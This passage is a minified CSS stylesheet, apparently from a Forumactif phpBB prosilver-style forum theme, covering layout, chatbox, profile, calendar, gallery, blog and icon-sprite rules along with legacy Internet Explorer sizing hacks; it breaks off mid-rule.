li{display:inline;font-size:1em;font-weight:700;margin:0;padding:0}#tabs a{background:#e5f1f9 none no-repeat 0 -35px;cursor:pointer;float:left;margin:0 1px 1px 0;padding:0 0 0 5px;position:relative;text-decoration:none}#tabs a span{background:none no-repeat 100% -35px;color:#666;display:block;float:left;padding:6px 10px 6px 5px;white-space:nowrap}#tabs a:hover span{background-position:100% -70px;color:#f60}#tabs .activetab a{background-color:#cadceb;background-position:0 0;border-bottom:1px solid #cadceb;margin-bottom:-1px}#tabs .activetab a span{background-position:100% 0;color:#333;padding-bottom:7px}#tabs a:hover{background-color:#cadceb;background-position:0 -70px}#tabs .activetab a:hover{background-position:0 0}#tabs .activetab a:hover span{background-position:100% 0;color:#000}* html #tabs,* html .navbar,* html .post,* html dl.polls,* html fieldset dl,* html ul.linklist,* html ul.topiclist dl{height:1%}*+ html #tabs,*+ html .navbar,*+ html .post,*+ html dl.polls,*+ html fieldset dl,*+ html ul.linklist,*+ html ul.topiclist dl{min-height:1px}#tabs:after,.navbar:after,.post:after,dl.polls:after,fieldset dl:after,ul.linklist:after,ul.topiclist dl:after{clear:both;content:".";display:block;height:0;visibility:hidden}#smiley-box,.smile-status-box{background-color:#e5f1f9;float:right;margin-top:25px;width:18%}#smiley-box.sig,.smile-status-box.sig{margin-top:15px}#smiley-box-wysiwyg{background-color:#e5f1f9;float:left;margin:25px 0 0 15px;width:20%}* html #smiley-box-wysiwyg{margin:25px 3px 0 0}*+html #smiley-box-wysiwyg{margin:25px 3px 0 0}#smiley-box iframe,.smile-status-box iframe{background-color:#e5f1f9;border:none;height:280px;overflow:auto;width:100%}#smiley-box-wysiwyg iframe{background-color:#e5f1f9;border:none;height:280px;overflow:auto;width:100%}.smiley-element img{margin:0 15px 10px 0}.pagination{float:right;margin-top:5px;text-align:right;width:auto}* html .pagination{height:1%}*+ html .pagination{min-height:1px}.row .pagination{background:url(https://illiweb.com/fa/prosilver/icon_pages.gif) 0 50% no-repeat;display:block;float:right;font-size:.9em;margin-top:0;padding:1px 0 1px 15px;width:auto}.pagination span a,.pagination span a:active,.pagination span a:link,.pagination span a:visited{background-color:#fff;border:1px solid #B4BAC0;color:#5C758C;font-size:.9em;font-weight:400;line-height:1.5em;margin:0 2px;padding:0 2px;text-decoration:none}.pagination span a:hover{background-color:#0372be;border-color:#368AD2;color:#FFF;text-decoration:none}.pagination span a.pag-img{background-color:transparent;border:none}.pagination span a.pag-img:hover{background-color:transparent}.pagination span strong{background-color:#627DA3;border:1px solid #627DA3;color:#FFF;font-size:.9em;margin:0 2px;padding:0 2px}.pagination span.page-sep{display:none}#cp-main .pagination{float:right;padding-top:1px;width:auto}.postbody{clear:both;color:#666;float:left;line-height:1.48em;padding:0;width:76%}.postbody .topic-title{border:none;color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.5em;font-weight:700;line-height:125%;margin:0 0 .3em!important;padding:2px 0 0;text-transform:none}.postbody .content{font-size:1.3em}.postbody ul.profile-icons{float:right;list-style:none;margin-right:45px;padding:0;width:auto}.postbody ul.profile-icons img{cursor:pointer}.postbody ul.profile-icons li{margin:0 3px}.postbody h3 img{vertical-align:bottom}* html .postbody h3 img{vertical-align:middle}.search .postbody{width:68%}.search .postbody ol,.search .postbody ul{margin-left:1.8em}#cp-main .postbody p{font-size:1.1em}#cp-main .postbody h3{margin-top:0}.content{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.4em;min-height:3em;overflow:hidden}.content blockquote{color:#536482}.content p{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.2em;line-height:1.4em;margin-bottom:1em}.content li{list-style-type:inherit}.content ol,.content ul{margin-bottom:1em;margin-left:3em}ul.profile-icons{list-style:none;margin-top:10px}ul.profile-icons li{background-position:0 100%;float:left;margin:0 6px 3px 0}* html ul.profile-icons li{width:1px}ul.profile-icons li a{background-position:0 0;display:block;width:100%}ul.profile-icons li span{display:none}ul.profile-icons li a:hover{background:none}#profile-advanced-layout{float:left;margin-right:-300px;width:100%}#profile-advanced-left{margin-right:300px}#profile-advanced-left #tabs{margin-top:4px}#profile-advanced-avatar{float:left;width:30%}#profile-advanced-points,#profile-advanced-reputation{float:left}#profile-advanced-avatar .module,#profile-advanced-details,#profile-advanced-points .module,#profile-advanced-reputation .module{margin-right:4px}#profile-advanced-avatar .module,#profile-advanced-points .module,#profile-advanced-reputation .module,#profile-advanced-right .module{margin-bottom:4px}#profile-advanced-details .pagination{float:left}#profile-advanced-details ol{list-style:none}#profile-advanced-details ol li{display:block;margin-bottom:4px}#profile-advanced-details .avatar{float:left}.avatar{background-color:#fff;border:1px solid #1675bc;width:50px}.avatar img{width:50px}.friend-block .avatar{cursor:pointer;margin:0 auto}.friend-block{float:left;margin:1px;overflow:hidden;text-align:center;width:68px}.friend_list_online_status{font-size:.8em;line-height:11px}.friend_list_online_status img{vertical-align:middle}.friends-foes-list{float:left;height:2em;width:200px}#profile-advanced-details .message-block{margin-left:57px}#profile-advanced-details .message-header{background:#dceaf5;border-top:1px solid #cadceb;margin-bottom:4px;padding:4px}#profile-advanced-details .message-date{float:right}#profile-advanced-details .message-body{margin-bottom:4px}#profile-advanced-details .message-footer{text-align:right}#profile-advanced-details .message-footer li{display:inline;margin:0 .25em}#profile-advanced-details .message-footer li:after{content:' .'}#profile-advanced-details .message-footer li a{margin-right:.25em;text-decoration:underline}#profile-advanced-details .message-footer li.last:after{content:normal}#profile-advanced-layout #new-message{clear:both;margin-top:-2em;position:relative}#profile-advanced-layout #tabs{bottom:0}#profile-advanced-layout #tabs #new-message-link{bottom:0;float:right;padding-bottom:10px;position:absolute;right:4px}#profile-advanced-layout #tabs #new-message-link a{background:none;float:none;margin:0 5px 0 0;padding:0}#profile-advanced-details .top{margin-bottom:16px}#profile-advanced-details .bottom{margin-top:16px}#profile-advanced-right{float:right;width:300px}#profile-advanced-add{margin-right:4px;padding:8px 0;text-align:right}#profile-advanced-details .stats-field{margin:4px 0 10px 4px;padding:0 10px 6px}#profile-advanced-details .stats-field legend{font-weight:700}#profile-advanced-details .stats-field ul{list-style-type:none;padding:0;text-indent:10px}#profile-advanced-details .stats-field li{margin:4px 0}#message-box textarea{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;width:80%}#textarea_content{margin-top:2px}#textarea_content textarea#text_editor_textarea{height:250px;width:100%!important}#textarea_content iframe#text_editor_iframe{height:100%;width:100%}form#quick_reply #textarea_content textarea#text_editor_textarea{height:150px;width:100%!important}form#quick_reply #textarea_content iframe#text_editor_iframe{height:100%;width:100%}.editor-message-box textarea{color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.2em;width:80%}.editor-textarea_content{margin-top:2px}.editor-textarea_content textarea#text_editor_textarea{height:250px;width:100%!important}#quick_reply .editor-textarea_content textarea#text_editor_textarea{height:150px;width:100%!important}.module{background-color:#e5f1f9;color:#666;margin-bottom:4px;overflow:hidden;padding:0 10px}.module ol,.module ul{padding-left:40px}.module ul{list-style-type:disc}.module span.corners-bottom,.module span.corners-top{margin:0 -10px}.module h3{border-bottom:1px solid #666;color:#666;margin:.5em 0;text-align:center}* html .module h3{height:1%}*+ html .module h3{min-height:1px}.module dl.details dt{margin-left:5px;text-align:left}.module dl.details dd{margin-left:0}.module .box-content{float:left;width:100%}.module .box-content .mod-login-avatar{float:left}.module .box-content .mod-login{float:left;margin-left:.5em}.module .box-content .mod-login dt{text-align:left;width:7em}.module table.mod-top-posters{table-layout:fixed}.module .fields1 dd{margin-left:0}.module .poll-opt-result{white-space:nowrap}.module .poll dl{margin-top:1em}.module .poll dt{float:left;width:40%}.module .poll dd{margin-left:41%}*+ html #left .module,*+ html #right .module{word-wrap:break-word}* html #left .module,* html #right .module{word-wrap:break-word}.overview{border:2px solid #000;z-index:10000}.title-overview{margin:0;padding:5px 10px;text-align:center}.center-overview{padding:5px 20px 0;text-align:center}.left-overview{padding:5px 10px 0;text-align:left}#calendar ul,#mini-calendar ul{background-color:#dceaf5;height:120px;list-style-type:none}#calendar ul:hover,#mini-calendar ul:hover{background-color:#}#calendar ul li,#mini-calendar ul li{padding:3px 0 0 10px}#calendar table.table1 tbody tr.hover,#calendar table.table1 tbody tr:hover,#mini-calendar table.table1 tbody tr.hover,#mini-calendar table.table1 tbody tr:hover{background-color:transparent}#calendar .no-border,#mini-calendar .no-border{border:none}#calendar .center,#mini-calendar .center{text-align:center}#calendar .hover-td:hover,#mini-calendar .hover-td:hover{background-color:#}#calendar-result{float:left;margin:45px 0 0 8px;width:69%}#mini-calendar{float:left;width:270px}p.right-event{margin:0;padding:0;text-align:right}.signature{border-top:1px solid #CCC;color:#666;font-size:1.1em;line-height:140%;margin-top:1.5em;overflow:hidden}.gallery{float:left;margin-left:1%;min-height:125px;padding-top:10px}* html .gallery{height:125px;margin-left:8px}.gallery:hover{background-color:#}.info-gallery{margin:0!important;padding:5px;text-align:center}.effect{margin-right:15px;vertical-align:middle}.helpline{background-color:transparent;border:none;font-size:10px;width:450px}.gallery-avatar{height:260px;margin:0 0 20px 30px;text-align:center;width:190px}.gallery-avatar img{padding-top:15px}.gallery-avatar:hover{background-color:#}.buttons{float:left}.buttons div{background-position:0 100%;float:left;margin:0 5px 0 0}.buttons div a{background-position:0 0;display:block;height:100%;width:100%}.buttons div.post-icon{height:auto;width:auto}.buttons div span{display:none}.buttons div a:hover{background-image:none}#cp-main .buttons{margin-left:0}#topicreview{height:300px;overflow:auto;padding-right:5px}#topicreview .postbody{float:none;height:auto;margin:0;width:auto}#topicreview .post{height:auto}#topicreview h2{border-bottom-width:0}body.chatbox{background-image:none}.chatbox{background-color:#e5f1f9}#chatbox_header{background-color:#1675bc;height:30px}.chatbox .forabg{background-color:#1675bc;border:none;margin:0;padding:0}.chatbox-title,.chatbox-title a.chat-title{color:#fff!important}.chatbox-title{float:left;margin:0;padding:2px 5px 0;width:15em}.chatbox-options{float:right;font-size:11px;list-style:none;margin:.7em .5em .5em}.chatbox-options li{display:inline}.chatbox-options li,.chatbox-options li a,.chatbox-options li label{color:#fff}#chatbox_members{border-right:1px solid;bottom:30px;color:#666;overflow:auto;position:absolute;top:30px;width:180px}#chatbox_members .member-title{background-color:#cadceb;background-image:none;color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;padding:.5em .25em;text-align:center}#chatbox_members ul{list-style:none;margin:0 0 0 1em}#chatbox_members ul li{margin:.5em .5em .5em 0}#chatbox{bottom:30px;left:181px;line-height:10px;overflow:auto;position:absolute;right:0;top:30px}.chatbox_row_1{background-color:#e5f1f9;padding:4px}.chatbox_row_2{background-color:#dceaf5;padding:4px}.chatbox_row_3{background-color:#cadceb;padding:4px}.memberlist_row_1{background-color:#e5f1f9}#chatbox_footer{bottom:0;left:0;padding:5px;position:absolute;right:0}#chatbox_footer label{color:#fff}#message,#submit_button{border-width:1px}.fontbutton{background:#E1E1E2 none repeat scroll 0;border:medium none;color:#000;cursor:pointer;float:left;margin-right:10px;padding:1px;text-align:left}.fontbutton_normal{background:#E1E1E2}.fontbutton_selected{background:#BBC7CE;border:1px solid #22229C}.fontbutton_clicked{background:#959595;border:1px solid #22229C}.fontbutton_hover{background:#E1E1E2;border:1px solid #22229C}#chatbox_contextmenu{background-color:#cadceb;border:2px solid #000}#chatbox_contextmenu p{background:#e5f1f9;border-bottom:1px solid #777;font-family:verdana, arial, sans-serif;margin:0;padding:1px 4px}#chatbox_contextmenu p.hover{background:#dceaf5}#chatbox_contextmenu p.close{background:url();color:#fff;font-size:95%;padding:1px}#chatbox_contextmenu p.close img{padding-left:20px;vertical-align:middle}#chatbox_contextmenu a{color:#0372be;font-size:95%;text-decoration:none}#chatbox .user{font-weight:700}* html #chatbox-members{height:expression((document.documentElement.clientHeight?document.documentElement.clientHeight:document.body.clientHeight) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 0) ) + px)}* html #chatbox{height:expression((document.documentElement.clientHeight?document.documentElement.clientHeight:document.body.clientHeight) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 0) ) + px);width:expression((document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 1.3) ) + px)}* html #chatbox-footer{width:expression((document.documentElement.clientWidth?document.documentElement.clientWidth:document.body.clientWidth) - ((parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333px * 2px * 0) ) + px)}table.forumline{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;font-size:1.2em;padding:5px}table.forumline td.catHead{color:#fff;font-family:Arial,Helvetica,sans-serif,Verdana,Arial,Helvetica,sans-serif;font-size:.85em;font-weight:700;padding-bottom:5px;text-align:left;text-transform:uppercase}table.forumline tr:hover td.catHead{background-color:transparent}table th.thCornerR,table th.thTop,table.forumline th.thCornerL{background-color:#cadceb;height:25px}table.forumline td{height:20px}table.forumline tr:hover td{background-color:#}table span.gen{margin-left:5px}table.forumline.bars td,table.forumline.statistical td,table.forumline.values td{padding:0 1px}table.forumline td.stat-bar{padding:0 10px}span.corners-bottom,span.corners-bottom span,span.corners-top,span.corners-top span{background-repeat:no-repeat;display:block;font-size:1px;height:5px;line-height:1px}span.corners-top{background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;margin:0 -5px}span.corners-top span{background-image:url(https://illiweb.com/fa/empty.gif);background-position:100% 0}span.corners-bottom{background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 100%;clear:both;margin:0 -5px}span.corners-bottom span{background-image:url(https://illiweb.com/fa/empty.gif);background-position:100% 100%}.navbar span.corners-bottom,.navbar span.corners-top,.panel span.corners-bottom,.panel span.corners-top,.post span.corners-bottom,.post span.corners-top{margin:0 -10px}#cp-main span.corners-top{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main span.corners-top span{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main span.corners-bottom{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main span.corners-bottom span{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-top{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-top span{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-bottom{background-image:url(https://illiweb.com/fa/empty.gif)}#cp-main .panel #topicreview span.corners-bottom span{background-image:url(https://illiweb.com/fa/empty.gif)}.row1{background-color:#e5f1f9}.row2{background-color:#dceaf5}.row3{background-color:#cadceb}.img-whois{float:left;margin-right:5px}.topic-actions{font-size:1.1em;height:auto;margin-bottom:5px;margin-top:1em}*+html .topic-actions{margin-top:1em}.column1{border-right:1px solid #fff;clear:left;float:left;margin-left:3%;width:46%}.column2{clear:right;float:right;margin-left:3%;width:46%}* html .column1,* html .column2{width:45%}.left-box{float:left;text-align:left;width:auto}.right-box{float:right;text-align:right;width:auto}.center{margin-left:auto;margin-right:auto;text-align:center}.clear{background:transparent;clear:both;display:block;font-size:1px;line-height:1px}* html .clear{height:1%}*+ html .clear{min-height:1px}.online{background-image:url(https://illiweb.com/fa/empty.gif);background-position:right 0;background-repeat:no-repeat}.autowidth{width:auto!important}.italic{font-style:italic}.pathname-box{float:left;margin-left:15px;margin-top:3px}.pathname-box p{margin-bottom:0}.select{background-color:#FFF;border:1px solid #BCBCBC;left:0;overflow:hidden;position:absolute;top:0;width:0;z-index:100}* html .select{margin-top:-9px}* html #sel_smilies{height:200px;overflow:auto}.select p{font-size:.9em;margin:0;padding:4px 6px}.select button{background-color:#FFF;border:none;font-size:.9em;margin:0;padding:4px;text-align:left}.select button.button2{border:1px solid #BCBCBC;padding:0}*+html .select button.button2{padding-left:3px;padding-right:3px}* html .select button.button2{padding-left:3px;padding-right:3px}.select button.button2:hover{background-position:0 100%;border:1px solid #f60;color:#f60}.select button:hover,.selectHover{background-color:#EEE;cursor:pointer}button.bbcode{background-image:url(https://illiweb.com/fa/wysiwyg/bg_button.png);border:1px solid #e3adad}#format-buttons{margin:15px 0 5px}#format-buttons input,#format-buttons select,button.button2{vertical-align:middle}ul#picture_legend,ul#privmsgs-menu{padding:3px 0;text-align:center}ul#picture_legend li,ul#privmsgs-menu li{display:inline;margin:2px 10px}ul#picture_legend li img,ul#privmsgs-menu li img{vertical-align:middle}input.checkbox{background-color:transparent!important;width:auto!important}.postlink{border-bottom-color:#368AD2;color:#368AD2}.postlink:visited{border-bottom-color:#666;color:#5D8FBD}.postlink:active{color:#368AD2}.postlink:hover{background-color:#D0E4F6;color:#0D4473}ul.topiclist li.row dd.dterm a.subforum,ul.topiclist li.row dt a.subforum{background-image:none;background-position:0 50%;background-repeat:no-repeat;padding:0 0 0 12px;position:relative;white-space:nowrap}#cp-main .panel li.header dd,#cp-main .panel li.header dt{color:#000;margin-bottom:2px}html>body dd label input{vertical-align:text-bottom}.mcp-main .postbody{width:100%}.pmlist li.row1{border:solid 3px transparent;border-width:0 3px}.pmlist li.row2{border:solid 3px transparent;border-width:0 3px}dd.lastpost span.color-groups{float:left;padding-left:0}* html dd.lastpost span.color-groups{cursor:pointer}*+html dd.lastpost span.color-groups{cursor:pointer}.warning{color:#f33}.obligatory{color:#f33}.captcha div.captcha-img{float:left;margin:0 1em 0 0}.captcha .inputbox{margin-top:.5em}#main-content a.cgu-buttons,#main-content input.cgu-buttons{padding:3px 5px}.rpg-table{border:1px solid #ccc;border-collapse:collapse}.rpg-table td{border:1px solid #ccc;padding:.25em}.copyright{color:#666;padding:5px;text-align:center}.clearfix:after{clear:both;content:".";display:block;height:0;visibility:hidden}*+ html .clearfix{min-height:1px}* html .clearfix{clear:both;height:1%;position:relative}* html div#logo-desc #logo{cursor:hand;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader (src='https://i.imgur.com/j7DwZVt.png');height:45px;width:274px}#login_popup{background-color:#cadceb;border:1px solid #1675bc;display:none;padding:6px;position:absolute;z-index:10000}#login_popup .h3{margin:0 0 6px;padding:0 0 6px}#login_popup_buttons{bottom:6px;position:absolute;right:6px}#login_popup_buttons input{margin-left:6px}ul.profile_field_list{padding:0}html ul.profile_field_list li{list-style-type:none}ul.profile_field_list > li{list-style-type:none}.inputURL{font-family:"Courier New", "Times New roman";font-size:10px;letter-spacing:-1px}.middleline{line-height:2em}.invisible{display:none;visibility:hidden}.visible{display:block;visibility:visible}.ajax-profil_hover{background:transparent}.ajax-profil_parent{position:relative;zoom:1}.ajax-profil_edit{cursor:pointer;left:-4px;position:absolute;top:0}.ajax-profil_edit img{margin-left:4px}.ajax-profil_valid{cursor:pointer;margin-left:4px;vertical-align:middle}.column1 dl.details dd,.column2 dl.details dd{padding-left:16px}#profile-tab-field-profil dl{margin:10px 0 0;padding:8px 10px 8px 0;width:98%}#profile-tab-field-profil dl dt{display:block;float:left;width:10em}#profile-tab-field-profil dl dd{margin-left:10em;padding-left:12px}#profile-tab-field-profil div.separator{border-bottom:1px solid #dcdcdc;clear:both;font-size:1px;line-height:1px;padding-top:10px}#profile-tab-field-profil .ajax-profil_edit{left:-4px}.jqmWindow{background-color:#fff;border:1px solid #1675bc;display:none;left:50%;margin-left:-225px;margin-top:-125px;position:fixed;top:50%;width:450px}.jqmOverlay{background-color:#000}#search_form h1{margin:.1em 0 .3em}#jqmHide{margin:.4em 0}.jqDrag{cursor:move}#first-post-br{border:0;border-top:solid 1px #1675bc;margin:20px auto;width:80%}.blog .icon{background-position:10px 20px!important}.blog .dterm{background-position:5px 20px!important;width:94%!important}.blog_cal-border{background:#e5f1f9;border:1px solid #1675bc;display:inline;float:left;font-size:1.2em;margin-right:1em;padding:1px}.blog_cal-content{background:#1675bc;color:#fff;font-family:"Lucida Grande","Lucida Sans Unicode",Arial,Sans-Serif;line-height:1.4em;padding:1px;text-align:center;width:2.9em}.blog_cal-content span{display:block}.blog_cal-day{font-size:1.6em;letter-spacing:.2em;padding-left:.2em}.blog_cal-month{font-size:2em;font-weight:700;line-height:.7em}.blog_cal-year{font-size:.8em;line-height:1.2em}.blog_title{font-size:1.3em;padding-top:1em}.blog_title h2{display:inline}.blog_title .topictitle{font-size:1.2em}.blog_message{font-size:1.1em;margin-top:.5em}.blog .codebox dt{width:92%}* html .blog .codebox dt,*+html .blog .codebox dt{width:100%}.blog_comments{text-align:right}.blog_comments img{vertical-align:middle}#blog_comments{margin:0 auto;width:90%}#blog_comments .postbody{width:96%}#blog_comments .postbody .content ul{list-style-type:disc}.blog_comment-avatar{float:left}.blog_comment-avatar img{background-color:#fff;border:1px solid #1675bc;margin:5px 5px 0 0;vertical-align:middle;width:38px}#blog_comments .h3{margin-left:45px;margin-top:0;min-height:22px;overflow:hidden;padding:0}.blog_comment-title{float:left;margin-top:7px;min-height:12px}#blog_comments .profile-icons{list-style-position:inherit;margin:0}#bookmarks{float:right}#bookmarks a img{background:url(https://illiweb.com/fa/social_bookmarking/social_bookmarking.png) no-repeat scroll;height:20px;vertical-align:middle;width:20px}#bookmarks a img.twitter{background:url(https://illiweb.com/fa/social_bookmarking/twitter.png) no-repeat scroll;height:16px;margin:2px;width:16px}#bookmarks img.delicious{background-position:-10px -10px}#bookmarks img.digg{background-position:-10px -50px}#bookmarks img.excite{background-position:-9px -90px}#bookmarks img.facebook{background-position:-9px -128px}#bookmarks img.furl{background-position:-10px -166px}#bookmarks img.google{background-position:-10px -206px}#bookmarks img.live{background-position:-9px -246px}#bookmarks img.netscape{background-position:-9px -284px}#bookmarks img.newsvine{background-position:-9px -322px}#bookmarks img.reddit{background-position:-10px -360px}#bookmarks img.slashdot{background-position:-10px -400px}#bookmarks img.smarking{background-position:-9px -440px}#bookmarks img.stumbleupon{background-position:-10px -478px}#bookmarks img.technorati{background-position:-10px -518px}#bookmarks img.yahoo{background-position:-10px -558px}.mceContentBody{background:#dceaf5;color:#666}.resize_process .resizebox{display:none}.resize_process img.resize_img{display:none}.resizebox a.enlarge{display:inline;zoom:1}.resizebox a.fullsize,.resizebox a.resize,.resizebox.enlarged a.enlarge{display:none}.resizebox.enlarged a.resize,.resizebox.showfull a.fullsize{display:inline;zoom:1}.resizebox{background-color:#fff;cursor:default;display:inline-block;font-size:10px;font-style:normal;font-weight:400;line-height:1.1em;margin:0;max-width:100%;text-align:left}.resizebox div{font-style:normal;font-weight:400;margin:0}.resizebox .resize_border{border:1px solid #dceaf5;display:block}.resizebox .resize_content{display:inline;padding:5px 10px;zoom:1}.resizebox .resize_filler{border:none;display:inline;padding:0;width:40px;zoom:1}.attachbox{background-color:#ebeadd;border:1px dashed #cadceb;clear:left;color:#666;float:left;margin:5px 5px 5px 0;padding:6px;width:auto}.attachbox dt{font-family:Arial,Helvetica,sans-serif;text-transform:uppercase}.attachbox .attachments{clear:left;display:inline-block;font-size:.9em;margin-left:10px;padding:0}.attachbox dl.file{border-top:1px solid #dceaf5;display:block;font-family:Verdana,Arial,Helvetica,sans-serif;margin-bottom:10px}dl.file dt{display:inline-block;font-family:Verdana,Arial,Helvetica,sans-serif;font-weight:700;padding:0;text-align:center;text-transform:none;vertical-align:middle}dl.file dd{display:inline-block;margin:0 0 0 10px;vertical-align:top}dl.file dd span{display:block}.info{font-size:10px;font-style:italic}.codebox{display:block}.spoiler_content{display:none}.spoiler_content.hidden{display:block}.user_login_form{margin-bottom:5px}.fb_or{background-color:#cadceb;border:2px solid #;color:#536482;font-weight:700;height:16px;line-height:16px;margin:0 30px;padding:5px;text-align:center;width:26px}.fb_or_widget{background-color:#cadceb;border:2px solid #;color:#536482;font-weight:700;height:16px;line-height:16px;margin-bottom:15px;margin-left:auto;margin-right:auto;padding:5px;text-align:center;width:26px}.fb-like{margin:0 5px;overflow:hidden}#cont_pwd{height:21px;margin:0 0 0 20px;width:150px}.pwd_img{color:#000;display:none;font-size:11px;font-weight:700;height:14px;line-height:14px;padding:4px 0 3px;text-align:center;width:150px}#pwd_good{background:url(https://illiweb.com/fa/p_strength/pwd_good.png)}#pwd_middle{background:url(https://illiweb.com/fa/p_strength/pwd_middle.png)}#pwd_bad{background:url(https://illiweb.com/fa/p_strength/pwd_bad.png)}#fb_explain{float:left;padding:5px 0 0 5px}.left{float:left}.fld_connexion{width:300px}.fb_login{height:30px;margin:50px 0 0}.fb_login .fb_or{margin:0 70px 0 60px}.fb_login_widget{margin:10px 0 0}.fb_login_widget .fb_or{margin:0 70px 0 60px}#cont_fb_invit iframe{width:760px!important}ul.topiclist.bg_none{background:none}.mod_bookmarks a img{background:url(https://illiweb.com/fa/social_bookmarking/social_bookmarking_fa.png) no-repeat scroll;height:20px;vertical-align:middle;width:20px}.mod_bookmarks img.digg{background-position:-10px -47px}.mod_bookmarks img.delicious{background-position:-10px -8px}.mod_bookmarks img.reddit{background-position:-10px -359px}.mod_bookmarks img.slashdot{background-position:-10px -398px}.mod_bookmarks img.stumbleupon{background-position:-10px -476px}.mod_bookmarks img.furl{background-position:-10px -163px}.mod_bookmarks img.yahoo{background-position:-10px -554px}.mod_bookmarks img.google{background-position:-10px -204px}.mod_bookmarks img.blinklist{background-position:-10px -665px}.mod_bookmarks img.blogmarks{background-position:-10px -630px}.mod_bookmarks img.technorati{background-position:-10px -516px}.mod_rss_feeds a img{background:url(https://illiweb.com/fa/rss_mod/sprite_rss_feeds.png) no-repeat scroll;height:17px;padding-bottom:2px;vertical-align:middle;width:91px}.mod_rss_feeds img.yahoo{background-position:0 0}.mod_rss_feeds img.google-reader{background-position:-100px 0}.mod_rss_feeds img.msn{background-position:-199px 0}.mod_rss_feeds img.aol{background-position:-299px 0}.mod_rss_feeds img.newsgator{background-position:-399px 0}.mod_rss_feeds img.netvibes{background-position:-498px 0}.mod_rss_feeds img.bloglines{background-position:-598px 0}.sprite-arrow_prosilver_down{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:0 0;height:6px;width:6px}.sprite-arrow_prosilver_left{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-56px 0;height:6px;width:4px}.sprite-arrow_prosilver_right{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-110px 0;height:6px;width:4px}.sprite-arrow_prosilver_up{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-164px 0;height:6px;width:6px}.sprite-arrow_subsilver_down{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-220px 0;height:9px;width:9px}.sprite-arrow_subsilver_left{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-279px 0;height:9px;width:9px}.sprite-arrow_subsilver_right{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-338px 0;height:9px;width:9px}.sprite-arrow_subsilver_up{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-397px 0;height:9px;width:9px}.sprite-icon_minipost{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-456px 0;height:9px;width:12px}.sprite-icon_minipost_new{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-518px 0;height:9px;width:12px}.sprite-icon_minipost_participate{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-580px 0;height:9px;width:12px}.sprite-icon_miniposted{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-642px 0;height:9px;width:12px}.sprite-icon_pages{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-704px 0;height:12px;width:11px}.sprite-icon_post_target{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-765px 0;height:9px;width:11px}.sprite-icon_post_target_unread{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-826px 0;height:9px;width:11px}.sprite-icon_reply{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-887px 0;height:9px;width:18px}.sprite-icon_reply_new{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-955px 0;height:9px;width:18px}.sprite-icon_tiny_topic{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1023px 0;height:11px;width:10px}.sprite-icon_topic_latest{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1083px 0;height:9px;width:11px}.sprite-icon_topic_newest{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1144px 0;height:9px;width:11px}.sprite-subforum_read{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1205px 0;height:9px;width:11px}.sprite-subforum_unread{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1266px 0;height:9px;width:11px}.sprite-tabs_less{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1327px 0;height:9px;width:9px}.sprite-tabs_more{background:url(https://illiweb.com/fa/sprite_icons.png) no-repeat top left;background-position:-1386px 0;height:9px;width:9px}.sprite-icon_calendar{background:url(https://illiweb.com/fa/sprite_prosilver_navbar.png) no-repeat top left;background-position:0 0;height:13px;width:14px}.sprite-icon_faq{background:url(https://illiweb.com/fa/sprite_prosilver_navbar.png) no-repeat top left;background-position:0 